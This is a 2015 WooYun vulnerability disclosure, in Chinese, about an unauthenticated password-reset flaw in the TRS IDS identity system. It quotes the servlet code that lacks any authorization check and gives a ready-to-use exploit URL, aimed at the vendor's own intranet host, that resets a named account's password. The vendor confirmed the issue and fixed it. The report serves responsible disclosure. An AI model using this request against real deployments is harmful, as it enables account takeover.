当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149258

漏洞标题:TRSIDS系统任意账户密码重置漏洞

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: applychen

提交时间:2015-10-25 10:30

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-25: 细节已通知厂商并且等待厂商处理中
2015-10-29: 厂商已经确认,细节仅向厂商公开
2015-11-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-23: 细节向核心白帽子及相关领域专家公开
2016-01-02: 细节向普通白帽子公开
2016-01-12: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

TRSIDS系统任意账户密码重置漏洞,无需登录。

详细说明:

在web.xml中配置了如下的servlet

<servlet>
<servlet-name>APIServlet</servlet-name>
<servlet-class>com.trs.idm.admin.servlet.APIServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>APIServlet</servlet-name>
<url-pattern>/api</url-pattern>
</servlet-mapping>


跟入APIServlet.java:

protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
if (("GET".equalsIgnoreCase(request.getMethod())) && (StringHelper.isEmpty(request.getQueryString()))) {
response.getWriter().print("It works!");
response.getWriter().flush();
return;
}
String method = RequestUtil.getParameterSafe(request, "method");
this.responseType = RequestUtil.getParameterSafe(request, "type");
if (StringHelper.isEmpty(this.responseType)) {
this.responseType = "xml";
request.setAttribute("type", this.responseType);
}
IService theService = this.apiServiceMgr.getService(method);
if (LOG.isDebugEnabled()) {
LOG.debug("method=[" + method + "],responseType=[" + this.responseType + "],service=" + IService.class.getName() +
",requestInfo =" + RequestUtil.getRequestInfo(request));
}
String theResponse = null;
try {
if (theService != null)
theResponse = theService.doService(request);
else
theResponse = ActionResponseHelper.getErrorResponseXML(10001, "您需要的服务[" + method + "]不存在!",
APIServlet.class, null);
}
catch (Exception ex) {
LOG.error(ex.getMessage(), ex);
theResponse = ActionResponseHelper.getErrorResponseXML(-4,
ex.getMessage(), APIServlet.class, null);
setResponseType(request, response);
sendResponse(response, theResponse);
return;
}
setResponseType(request, response);
sendResponse(response, theResponse);
}
public void init(ServletConfig sc)
throws ServletException
{
super.init(sc);
this.idsServer = ((IdentityServer)getServletContext().getAttribute("idmServer"));
LOG.info("idsServer=" + this.idsServer);
this.apiServiceMgr = this.idsServer.getModelService().getApiServiceMgr();
this.responseType = "xml";
}


一路跟踪到APIServiceManagerBase.java,发现直接调用trsids-remote-services.xml中的servlet,主要代码如下:

public void start()
{
List serviceActions = loadAllAPIService();
for (Iterator iter = serviceActions.iterator(); iter.hasNext(); ) {
String serviceActionClass = (String)iter.next();
try {
IService service = (IService)Class.forName(serviceActionClass).newInstance();
if (service == null) {
LOG.warn("service initialized is null! className = " + serviceActionClass);
}
else {
service.setContext(this.idsCtx.getServer());
registerService(service);
LOG.info("initialized [" + serviceActionClass + "]...");
}
} catch (Exception e) { LOG.error("service is error:", e); }
}
LOG.info("Service Initialized(Define " + serviceActions.size() + " Services,Initialized " + this.services.size() +
" Services).");
}
protected List loadAllAPIService()
{
List serviceActionList = new ArrayList();
List serverAPIServices = loadServerAPIService();
if (serverAPIServices != null) {
serviceActionList.addAll(serverAPIServices);
}
List moduleAPIServices = loadModulesAPIService();
if (moduleAPIServices != null) {
serviceActionList.addAll(moduleAPIServices);
}
return serviceActionList;
}
protected List loadServerAPIService()
{
Document document = null;
try {
document = new SAXReader().read(APIServiceManagerBase.class.getResourceAsStream("/trsids-remote-services.xml"));
}
catch (DocumentException e) {
LOG.error("parse XML happen exception!", e);
this.idsCtx.getLogManager().log("加载Remote API服务失败!", "SYSTEM", (byte)4, "localhost", "N/A",
-1, null, null, "", LogUtil.getCaller());
return null;
}
List serviceList = document.selectNodes("//service");
List serviceActionsList = new ArrayList();
for (int i = 0; i < serviceList.size(); i++) {
Node a = (Node)serviceList.get(i);
serviceActionsList.add(a.selectSingleNode("//service[" + (i + 1) + "]").getText());
}
return serviceActionsList;
}


trsids-remote-services.xml内容如下:

1.png


其中的<service>com.trs.idm.api.remote.manage.user.ResetUserPasswordAction</service>用于重置账户密码,主要代码如下:

private static final String SERVICE_NAME = "resetUserPwd";
private static final String SERVICE_VERSION = "1.0";
private static final String SERVICE_SCHEMA = "";
public String doService(HttpServletRequest request)
throws IdMException
{
String sourceName = getParameter(request, "sourceName");
String userName = getParameter(request, "userName");
String newPwd = getParameter(request, "newPwd");
String ensurePwd = getParameter(request, "ensurePwd");
LOG.debug("reset password,sourceName=[" + sourceName + "],userName=[" + userName + "]!");
if (StringHelper.isEmpty(sourceName)) {
sourceName = "ids_internal";
}
String result = baseValidate(userName, newPwd, ensurePwd, this.idmServer.getModelService());
if (result != null) {
return result;
}
User user = this.idmServer.getModelService().getServiceContext().getUserService().findByName(userName, sourceName);
if (user == null) {
return getErrorResponseXML(-14,
"用户 " + userName + " 不存在!", ResetUserPasswordAction.class);
}
user.setPasswd(newPwd);
RequestContext requestContext = RequestContext.getWebRequestContext(request);
this.idmServer.getModelService().getServiceContext().getUserService().updateUser(user, requestContext);
LOG.info("success to reset User:[" + userName + "] password!");
return getSimpleResponseXML(0, "重置用户[" + userName + "]重置密码成功!");
}


从上面的流程中可以看到程序未对权限进行验证即可调用trsids-remote-services.xml中的servlet进行一系列操作。
以官网作为测试用例https://intranet.trs.com.cn/ids/
直接访问以下URL重置test账户的密码为trsidsadmin20151025:

https://intranet.trs.com.cn/ids/api?method=resetUserPwd&userName=dGVzdA==&newPwd=dHJzaWRzYWRtaW4yMDE1MTAyNQ==&ensurePwd=dHJzaWRzYWRtaW4yMDE1MTAyNQ==&sourceName=ids&type=xml&appName=ids


2.png


成功登录:

3.png


4.png


漏洞证明:

同上

修复方案:

在APIServlet.java中增加鉴权措施

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-10-29 09:06

厂商回复:

感谢反馈,已处理
*** 安全无止境,我们一直在努力!***

最新状态:

暂无